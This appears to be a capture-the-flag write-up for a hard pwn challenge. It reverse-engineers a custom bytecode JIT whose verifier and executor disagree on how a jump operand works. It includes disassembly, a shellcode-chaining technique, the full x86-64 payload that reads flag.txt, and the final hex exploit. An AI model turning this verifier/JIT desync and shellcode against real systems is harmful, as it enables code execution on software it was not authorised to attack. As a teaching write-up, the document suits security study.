Muktir Shongket

Exploiting a verifier/executor semantic mismatch in a custom bytecode JIT engine to achieve arbitrary code execution.

PwnReverse EngineeringBDSecCTFHard

"During Bangladesh's Liberation War, field operatives relied on coded transmissions to coordinate their resistance... The verification unit and the field engine may not agree on the route."

That last sentence is the whole challenge, once you know where to look: two pieces of code are supposed to agree on how to interpret the same bytes, and they don't.


1. First look at the binary

$ file chal
chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, stripped

Statically-linked base address, no PIE (ELF ... executable, not ... shared object), stripped. That last point matters a lot later — a non-PIE binary means every address inside it is a fixed, known constant, with no ASLR to fight.

Running it presents a menu:

========================================
             MUKTIR SHONGKET
       FIELD COMMUNICATION TERMINAL
========================================
Every transmission requires command approval.

1. Upload coded transmission
2. Inspect decoded orders
3. Verify transmission
4. Execute transmission
5. Clear terminal
6. Disconnect
>

Option 1 accepts a hex string (up to 512 raw bytes once decoded), which becomes a little program written in a custom bytecode. Option 3 must "verify" that program before option 4 will "execute" it. This is basically a toy VM with a code-signing/validation step in front of a JIT — a classic setup for a verifier/executor semantic mismatch bug.


2. Reverse engineering the bytecode format

Using objdump -d -M intel and cross-referencing the .rodata strings (WAIT, SIGNAL, ROUTE, END, FREEDOM, format strings like "%04zx %-8s\n", " 0x%016lx", " +%u"), the "Inspect decoded orders" routine (option 2) makes the encoding obvious, since it just pretty-prints each opcode:

| Opcode byte | Mnemonic | Total width (source) | Operand | |---|---|---|---| | 0x10 | WAIT | 1 byte | none | | 0x20 | SIGNAL | 9 bytes | 8-byte value (printed as 0x%016lx) | | 0x30 | ROUTE | 2 bytes | 1-byte value (printed as +%u) | | 0x40 | END | 1 byte | none | | 0xf0 | FREEDOM | 1 byte | none, but verify unconditionally rejects it with "Rejected: unauthorized freedom broadcast." |

The uploaded bytes are stored verbatim in a fixed .bss buffer at 0x404080 (max 0x200 = 512 bytes — capped by how much .bss is actually reserved after it). A global at 0x404068 holds the stored length, and a flag at 0x404060 records whether the last upload passed verification.


3. The verifier (option 3)

Entry point ~0x401430. It walks the stored bytes with an index rdx, switching on the opcode byte:

40147c: movzx eax, byte [rbx+rdx]      ; rbx = 0x404080 (source buffer)
401480: cmp al, 0x30                   ; ROUTE
401482: je   4015c0
401488: jbe  401450                    ; al <= 0x30 -> WAIT / SIGNAL
40148a: cmp al, 0x40                   ; END
40148c: je   401660
401492: cmp al, 0xf0                   ; FREEDOM
401494: je   401690                    ; -> always "Rejected: unauthorized freedom broadcast."
4015c0: lea  rsi, [rdx+2]                     ; rsi = position right after this ROUTE
4015c4: cmp  rcx, rsi                         ; bounds check: enough bytes for opcode+operand?
4015c7: jb   40149a
4015cd: movzx eax, byte [rbx+rdx+1]           ; eax = operand byte, read UNSIGNED
4015d2: add  rax, rsi                         ; "virtual target" = rsi + operand
4015d5: cmp  rax, rcx                         ; is that target still inside the transmission?
4015d8: jae  401849                           ; -> "Rejected: route leaves transmission..."
4015de: mov  rdx, rsi                         ; !!! continue scanning from rsi, NOT from rax !!!
4015e1: cmp  rdx, rcx
4015e4: jb   40147c

So the verifier:

  1. Reads the ROUTE operand as an unsigned byte (0–255).
  2. Uses it only to bounds-check that "if you jumped here, you wouldn't run off the end of the buffer."
  3. Never actually follows the jump. It sets rdx = rsi (the very next byte after the ROUTE instruction) and keeps scanning linearly.

In other words: ROUTE in the verifier is not a jump. It's a promise about a jump that is checked but never kept — verification always proceeds byte-by-byte through the entire buffer regardless of any ROUTE present in it.


4. The field engine (option 4) — a bytecode-to-x86 JIT

This is where things actually get interesting. Option 4 requires the verified flag to be set, then:

r14 = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
// translate loop, rax = source index, rdx = dest index into r14
mprotect(r14, 0x1000, PROT_READ|PROT_EXEC);
((void(*)())r14)();

It doesn't interpret the bytecode — it compiles it to real x86-64 machine code in an RWX-turned-RX buffer and jumps into it. The translation, opcode by opcode:

| Source opcode | Emitted machine code | Source width | Dest width | |---|---|---|---| | WAIT (0x10) | 90 (nop) | 1 | 1 | | SIGNAL (0x20) | EB 08 (jmp +8) followed by the raw 8-byte operand | 9 | 10 | | ROUTE (0x30) | E9 <rel32> (jmp rel32) | 2 | 5 | | END (0x40) | C3 (ret) | 1 | 1 | | FREEDOM (0xf0) | (not handled — falls through to reject) | — | — |

Look closely at the SIGNAL translation. It compiles to a 2-byte jmp that hops clean over its own 8-byte operand. Under normal, linear control flow, that operand is genuinely inert — it's just data sitting after an unconditional jump that skips it. That's exactly why the verifier is happy to leave it unexamined: as bytecode, it's provably dead. But it's dead only as long as execution actually reaches it via the jmp, and not by falling or jumping directly into the middle of it.

Now look at the ROUTE translation:

4017ff: movsx ecx, byte [rbx+rax+1]      ; operand byte, SIGN-EXTENDED this time
401804: mov   byte  [r14+rdx], 0xE9      ; emit real jmp opcode
401816: mov   dword [r14+rdx+1], ecx     ; the rel32 displacement IS the raw operand byte

Here's the mismatch, stated precisely:

So a ROUTE operand doesn't jump to "offset N in the bytecode you uploaded." It jumps to "offset N in the compiled code, relative to right after the jmp instruction" — a location the verifier has no model of whatsoever, and which can point straight into the middle of a SIGNAL's "opaque, never-checked" 8-byte payload, skipping past its guarding jmp +8.

That's the whole bug: the verifier reasons about the source bytecode; the field engine executes the compiled output; a ROUTE's meaning silently changes between the two representations, and the verifier's opaque SIGNAL data becomes reachable, attacker-controlled shellcode in the compiled output.


5. Why FREEDOM (0xf0) is a dead end

It's tempting to think the goal is to smuggle a 0xf0 byte past the verifier. But:

FREEDOM is flavor/red herring. The real "freedom" comes from turning SIGNAL operands into shellcode via the ROUTE desync.


6. Exploit design

6.1 Redirecting into a SIGNAL's data

Place a ROUTE as the very first instruction, immediately followed by a SIGNAL. In the translated buffer this becomes:

[E9 <rel32>]  [EB 08][8 bytes of SIGNAL data]
 5 bytes       2 bytes  8 bytes

The jmp is 5 bytes long, so "the address right after it" is exactly where the SIGNAL's EB 08 header starts. We want to land 2 bytes further in — right at the start of the 8 data bytes, skipping the header that would otherwise jump over them. So:

rel32 = +2   →  ROUTE operand byte = 0x02

Since 0x02 is small and positive, it satisfies both interpretations at once: the verifier's unsigned bounds check (target = 2 bytes further into the source, trivially in-bounds) and the field engine's signed rel32 (a harmless small forward jump). No suspicious-looking negative/huge byte required.

6.2 Chaining multiple SIGNALs into a bigger shellcode

8 bytes isn't much room for real shellcode. But we can chain blocks together: if the last two bytes of a SIGNAL's 8-byte data are a short jump EB 02, execution — instead of falling through into the next SIGNAL's EB 08 header (which would jump over its data, skipping it) — jumps 2 bytes past itself, i.e. straight past that header and into the next block's data:

block i:   [ 6 bytes of our code/pad ][ EB 02 ]
                                          │
                                          ▼ (skip next block's own EB 08 header)
block i+1: [ 6 bytes of our code/pad ][ EB 02 ]  ...

Since every translated SIGNAL is exactly 10 bytes (2 header + 8 data) and blocks are laid out contiguously, this EB 02 always lands exactly on the start of the next block's data, regardless of which block it is. That gives 6 usable bytes per SIGNAL (the trailing 2 bytes are spent on the chaining jump), at a cost of 9 source bytes and 10 compiled bytes per block. With a 512-byte source cap that's up to ~50 blocks (~300 usable bytes) — comfortably enough for a small syscall-only payload.

6.3 The payload: leak flag.txt with zero writable buffers

Because the binary is non-PIE, the string "flag.txt" already sitting in .rodata has a fixed, known address — 0x40201c — so the shellcode doesn't need to spell out the filename itself (which would eat precious bytes). And using sendfile() instead of read()+write() avoids needing any scratch buffer at all:

xor  esi, esi                 ; O_RDONLY, mode=0
xor  edx, edx
mov  edi, 0x40201c            ; "flag.txt" (static address, non-PIE)
xor  eax, eax
mov  al, 2                    ; sys_open
syscall                        ; rax = fd

mov  esi, eax                 ; in_fd  = fd
mov  edi, 1                   ; out_fd = stdout
xor  edx, edx                 ; offset = NULL
mov  r10d, 0x1000              ; count
mov  eax, 40                   ; sys_sendfile
syscall

xor  edi, edi                  ; exit(0)
mov  eax, 60                   ; sys_exit
syscall

46 bytes total. Packed into ten 8-byte SIGNAL blocks (nine chained with EB 02, one final block with no chain needed since the process exit()s):

Block 1: 31 F6 31 D2 90 90 EB 02      xor esi,esi; xor edx,edx; nop nop; jmp+2
Block 2: BF 1C 20 40 00 90 EB 02      mov edi,0x40201c; nop; jmp+2
Block 3: 31 C0 B0 02 0F 05 EB 02      xor eax,eax; mov al,2; syscall; jmp+2
Block 4: 89 C6 90 90 90 90 EB 02      mov esi,eax; nop x4; jmp+2
Block 5: BF 01 00 00 00 90 EB 02      mov edi,1; nop; jmp+2
Block 6: 31 D2 90 90 90 90 EB 02      xor edx,edx; nop x4; jmp+2
Block 7: 41 BA 00 10 00 00 EB 02      mov r10d,0x1000; jmp+2
Block 8: B8 28 00 00 00 90 EB 02      mov eax,40; nop; jmp+2
Block 9: 0F 05 31 FF 90 90 EB 02      syscall; xor edi,edi; nop x2; jmp+2
Block10: B8 3C 00 00 00 0F 05 90      mov eax,60; syscall; nop        (no chain — last block)

6.4 Assembling the transmission

ROUTE +2                       30 02
SIGNAL <block 1>                20 <8 bytes>
SIGNAL <block 2>                20 <8 bytes>
   ...
SIGNAL <block 10>               20 <8 bytes>
END                              40

93 bytes total, well inside the 512-byte cap, and it satisfies the verifier: it contains an END (so the "must have an END" check passes), no 0xf0 byte anywhere, every WAIT/SIGNAL/ROUTE/END width check passes, and the ROUTE's target bound-check trivially holds (+2 from the position right after it is still well inside the buffer).

Final hex payload:

30022031f631d29090eb0220bf1c20400090eb022031c0b0020f05eb022089c690909090eb0220bf0100000090eb022031d290909090eb022041ba00100000eb0220b82800000090eb02200f0531ff9090eb0220b83c0000000f059040

7. Running the exploit

Sequence against the service: upload (1) → paste the hex → verify (3) → execute (4).

> Relaying orders to field execution engine...
BDSEC{mukt1r_5h0ngk3t_r34ch3d_th3_f13ld}

option 4 mmaps an RW page, JIT-compiles our bytecode into it (turning ROUTE +2 into E9 02 00 00 00, and each SIGNAL into EB 08 + our chosen bytes), mprotects it R-X, and calls into offset 0 — which is our ROUTE, which immediately misdirects into the first SIGNAL's data, running our chained syscall shellcode, which sendfile()s flag.txt straight to the terminal's stdout before calling exit(0).


8. Root cause, in one sentence

The verifier validates the uploaded bytecode as a linear sequence and treats ROUTE's operand as an unsigned, purely-advisory bounds hint it never acts on, while SIGNAL's operand is trusted as opaque non-executable data; the field engine instead JIT-compiles that bytecode into a different byte layout and treats the exact same ROUTE operand as a signed, literal jmp displacement inside the compiled code — so a value the verifier considers "just a number that must stay in-bounds" becomes, at execution time, a redirection straight into attacker-controlled bytes the verifier promised were never reachable.

9. Lessons

Night Shift
Easy RE